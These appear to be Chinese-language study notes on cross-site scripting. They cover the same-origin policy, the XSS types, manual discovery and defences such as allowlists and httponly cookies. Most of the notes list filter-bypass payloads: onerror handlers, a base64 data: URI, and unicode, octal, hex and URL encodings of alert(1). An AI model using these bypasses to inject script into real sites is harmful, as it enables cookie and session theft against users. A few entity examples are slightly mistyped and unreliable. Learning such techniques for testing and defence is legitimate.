浏览器遵守同源策略
javaScript同源对比:协议、域名、端口三者完全相同即是同源。
HTML中不受同源策略限制的标签:
<script src = http://xss.tv/jquery.js>
<img src = http://xss.tv/back.jpg>
<iframe src = >
<link src = >
XSS 跨站脚本攻击
XSS危害:
盗取用户的Cookie
XSS Worm : XSS蠕虫
挂马 : A->B->C(互相传染)
XSS分类:
反射性XSS:浏览器发出请求,将js代码作为参数提交到服务器,服务器响应,输出在网站中
存储型XSS:浏览器发出请求,将js代码存储到服务器数据库或者文件中,永久存在,每次打开都会响应
DOM XSS:不需要服务器响应,直接靠浏览器的dom解析,完全是客户端的事情,与服务器无关
XSS手动挖掘
1.看url参数输出的位置
2.看输入框的输出位置
1.输出在标签外
构造标签,如果不能构造标签就不存在XSS漏洞
2.输出在标签内
需要闭合引号,如果不能闭合引号就看看当前标签是否可以执行js代码。
3.输出在script标签中
如果在引号内,需要闭合引号
如果不能闭合引号,看看当前位置是否可以能否innerHTML或者document.write,插入到网页中,引号内部可以使用unicode编码, < 不能编码
如果可以闭合引号,直接写入js代码
XSS防御
1.构造黑名单,白名单(白名单效果好,要考虑用户体验)
2.在cookie中添加httponly属性,保护cookie,减少损失
XSS编码问题及绕过
URL编码:
#->%23 .->%2e + ->%2b
"->%22 < %3c > %3e '->%27
HTML实体编码
< : $#60
: => [冒号] => [换行]
JS编码
1.三个八进制数字,不够前面补0; < \074
2.两个十六进制数字,不够前面补0 < \x3c
3.四个十六进制数字,不够前面补0 < \u003c
具体场景方法:
一:如果过滤了<> 等
<img src = x onerror = alert(1)>=>PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg(base64编码)
data协议
data:资源类型;编码类型,内容
<a href = "data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">123</a>
二:HTML实体编码
<img src = 1 onerror = "alert(1)"> =》
<img src=1 onerror="\u0061\u006c\u0065\u0072\u0074(1)"> (unicode编码)=》
<img src=1 onerror="alert('xss')">(16进制)
三:JavaScript编码
javascript中只识别几种编码:Jsunicode js8进制 js16进制
js中如果过滤了 ’ " < > & % 等等 可以把输入的值改成js编码如:
<img src = x onerror = alert(1)> =》
\74\151\155\147\40\163\162\143\75\170\40\157\156\145\162\162\157\162\75\141\154\145\162\164\50\61\51\
URL编码
如<a href = "javascript:alert(1)">123</a> =》
<a href = "javascript:%61lert(1)">click me</a>
用img就不行:<img src=1 onerror=”javascript:%61lert(1)>